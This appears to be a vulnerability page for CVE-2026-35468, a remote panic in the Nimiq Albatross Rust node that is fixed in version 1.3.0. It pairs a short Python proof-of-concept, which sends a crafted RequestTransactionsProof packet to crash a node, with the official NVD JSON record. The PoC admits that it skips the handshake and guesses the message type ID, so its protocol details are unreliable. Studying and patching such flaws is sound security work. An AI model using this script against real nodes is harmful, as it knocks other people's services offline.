CVE-2026-35468

import socket import struct # This is a conceptual PoC for CVE-2026-35468 # It demonstrates sending a malicious consensus request to trigger the panic. # Note: Actual Nimiq protocol implementation requires specific serialization. def send_malicious_request(target_ip, target_port): try: # Establish TCP connection to the Nimiq node print(f"[*] Connecting to {target_ip}:{target_port}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, target_port)) # In a real scenario, you would need to perform the handshake first. # Assuming handshake is done or bypassed for this PoC context. # Constructing a malicious RequestTransactionsProof message type. # The specific payload structure depends on the Nimiq protocol version. # This payload aims to hit the RequestTransactionsProof handler. message_type = struct.pack('>H', 20) # Example Type ID for RequestTransactionsProof payload_length = struct.pack('>I', 0) # Empty payload to trigger the handler logic malicious_packet = message_type + payload_length print("[*] Sending malicious RequestTransactionsProof packet...") s.send(malicious_packet) print("[*] Packet sent. Check if the remote node crashed (panic).") s.close() except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": # Replace with actual target IP and Port TARGET_IP = "127.0.0.1" TARGET_PORT = 8443 send_malicious_request(TARGET_IP, TARGET_PORT)

{"cve": {"id": "CVE-2026-35468", "sourceIdentifier": "[email protected]", "published": "2026-04-03T23:17:06.963", "lastModified": "2026-05-05T18:17:13.890", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "nimiq/core-rs-albatross is a Rust implementation of the Nimiq Proof-of-Stake protocol based on the Albatross consensus algorithm. Prior to version 1.3.0, two peer-facing consensus request handlers assume that the history index is always available and call blockchain.history_store.history_index().unwrap() directly. That assumption is false by construction. HistoryStoreProxy::history_index() explicitly returns None for the valid HistoryStoreProxy::WithoutIndex state. when a full node is syncing or otherwise running without the history index, a remote peer can send RequestTransactionsProof or RequestTransactionReceiptsByAddress and trigger an Option::unwrap() panic on the request path. This issue has been patched in version 1.3.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-252"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nimiq:nimiq_proof-of-stake:*:*:*:*:*:rust:*:*", "versionEndIncluding": "1.2.2", "matchCriteriaId": "F1D1AFE5-536A-424A-B7D3-AFCE79533E39"}]}]}], "references": [{"url": "https://github.com/nimiq/core-rs-albatross/commit/0e5c90a6c75b722f3d6091769776a4040e694dba", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/nimiq/core-rs-albatross/pull/3667", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/nimiq/core-rs-albatross/releases/tag/v1.3.0", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/nimiq/core-rs-albatross/security/advisories/GHSA-xr78-2jhh-9wf9", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}